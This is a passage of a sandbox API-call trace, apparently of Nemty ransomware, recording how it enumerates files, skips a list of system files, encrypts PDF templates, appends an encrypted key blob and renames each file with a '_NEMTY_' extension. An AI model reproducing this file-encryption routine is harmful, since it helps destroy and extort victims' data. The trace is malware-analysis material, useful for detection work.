ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a21b7f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.959] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.959] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a21b7f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a21b7f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.959] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.959] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.959] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11426, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.959] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0171.960] Sleep (dwMilliseconds=0x5) [0171.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a267ab0, dwHighDateTime=0x1d561e8)) [0171.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a267ab0, dwHighDateTime=0x1d561e8)) [0171.972] GetLastError () returned 0xb7 [0171.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.972] GetLastError () returned 0xb7 [0171.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.972] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.972] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.973] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0171.973] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="yEnnwCU9sd5uzRug8zZd4mt7elBuNQqasaAPWcj85iPDPF68n0mYk5EZtTEraJoj\r\nPx1ALviFqDHJ/mKAebltdSLcE+7RzBT5rN68p6bfI6f6x1DU2fvFDu1T2gFkBb4n\r\nozr/3Lr1q6+VRrsET4GSZXXwirKTjUYs55sQ/f2axbJjrl+lf8DPPuJyilg7E7df\r\nRQPxIcJosMH7vIj3UPElwcJW7zqurpaEgc4gLgLBa0PyCDzmhsurGFC5I10NLvOX\r\nRE3ivAzJK14EpYSICGRza7I1Ii+sng1PSc8UW1asDNfsWzN7YGPsn2TaKkhohW3K\r\niQlbVhTVKf88AUWrh499LA==\r\n", pcchString=0x653e5dc) returned 1 [0171.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0171.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.973] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.973] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=70694) returned 1 [0171.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11420) returned 0x6352c48 [0171.973] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.973] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x11420, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x11420, lpOverlapped=0x0) returned 1 [0171.979] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.979] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x11420, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x11420, lpOverlapped=0x0) returned 1 [0171.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.980] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=70694, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11426 [0171.980] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.980] CloseHandle (hObject=0x3b0) returned 1 [0171.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0171.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0171.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.980] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0171.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.982] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f09, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.982] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.982] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.982] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.982] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.982] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.982] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.982] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.982] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.982] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.982] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.983] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.983] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.983] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0171.983] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.983] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.983] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.983] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.983] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.983] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.983] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.983] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0171.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.983] Sleep (dwMilliseconds=0x5) [0171.988] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a28dc10, dwHighDateTime=0x1d561e8)) [0171.988] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a28dc10, dwHighDateTime=0x1d561e8)) [0171.988] GetLastError () returned 0x0 [0171.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.988] GetLastError () returned 0x0 [0171.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.988] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.988] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.988] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0171.988] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="iqlNu8G8UU6kGxDomesN8mNiobQDLt9m/dj0WpgvVPUga3TebNPKOVEx78hCADOX\r\nD2KakFUKT+ICO/jlM7cAYii1FKoMQOM67r1GSH5TbHqnvt1VDlRkzf5jL9VJx2wD\r\nuIaq7rGYH0KSucbfGwKBpt0tvhsSSU1zTRpHn5zGy+3ptpvmORCjVaootMIAj4rZ\r\nCSZJNsGeESjmX6CBR9QQUXP97U6T4ypZKLR8MPNUXf65f79/U04uEjrWEB+5HQHo\r\nmkXKettXtjk+vBOw9sShnfdj06C4IH15bGmo8iJqrqa1iUOejA8BZZDoiC//sv6J\r\nT/zc6hru77kn09eYhLvMpA==\r\n", pcchString=0x653e5dc) returned 1 [0171.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0171.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.989] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.989] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=69385) returned 1 [0171.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10f00) returned 0x6352c48 [0171.989] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.989] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x10f00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x10f00, lpOverlapped=0x0) returned 1 [0171.995] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.995] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x10f00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x10f00, lpOverlapped=0x0) returned 1 [0171.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.995] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=69385, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10f09 [0171.995] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.995] CloseHandle (hObject=0x3b0) returned 1 [0171.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0171.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.996] RtlAllocateHeap 